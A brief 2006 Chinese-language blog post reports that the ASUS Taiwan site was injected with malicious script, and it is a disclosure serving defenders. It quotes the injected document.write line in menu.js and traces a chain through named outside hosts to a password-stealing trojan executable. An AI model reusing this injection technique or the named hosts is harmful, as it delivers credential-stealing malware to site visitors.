December 10, 2006

ASUS 網站被植入惡意程式

http://tw.asus.com/include/menu.js
裡面有一行 document.write('<script src=include/style.css></script>');
style.css 會連到 http://www.hiet.tw/1.htm
裡面的 javascript (編碼過) 會執行 VBScript 然後去抓 http://www.yyc8.com/script/src/rss3.css 回來執行
rss3.css 其實是執行檔, 被 Kaspersky 掃到 Trojan-PSW.Win32.Nilage.azw
已把此問題反應給 ASUS 網站問題反應區
2006-12-12 Update: 隔天就修好了

Posted by pank at December 10, 2006 03:44 PM
Comments
Post a comment













Remember personal info?